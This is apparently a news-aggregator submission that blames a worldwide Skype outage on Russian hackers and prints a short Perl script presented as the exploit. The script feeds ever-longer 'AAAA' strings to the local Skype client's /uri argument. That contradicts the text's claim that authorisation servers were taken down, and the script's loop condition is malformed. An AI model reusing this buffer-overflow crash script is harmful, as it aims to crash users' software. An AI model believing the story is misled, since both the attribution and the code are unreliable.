Submission + - Skype crash has been caused by Russian hackers (xakep.ru) 8

An anonymous reader writes: Yesterday's Skype worldwide crash has been caused by Russian hackers, as per www.xakep.ru forum info (http://www.xakep.ru/post/39746/default.asp). They have found a local buffer overflow vulnerability caused by sending a long string to the Skype authorisation server. Within several hours those guys managed to take offline all Skype servers and prevent users from logging in. Here is exploit's code: [code]#!/usr/bin/perl # Simle Code by Maranax Porex ;D # Ya Skaypeg!! for ($i=256; $i>xCCCCC; $i=$i+256) { $eot='AAAA' x $i; call_sp(); } exit; sub call_sp() { $str="\"C:\\Program Files\\Skype\\Phone\\Skype.exe\" \"/uri:$eot\""; system("$str"); }[/code]
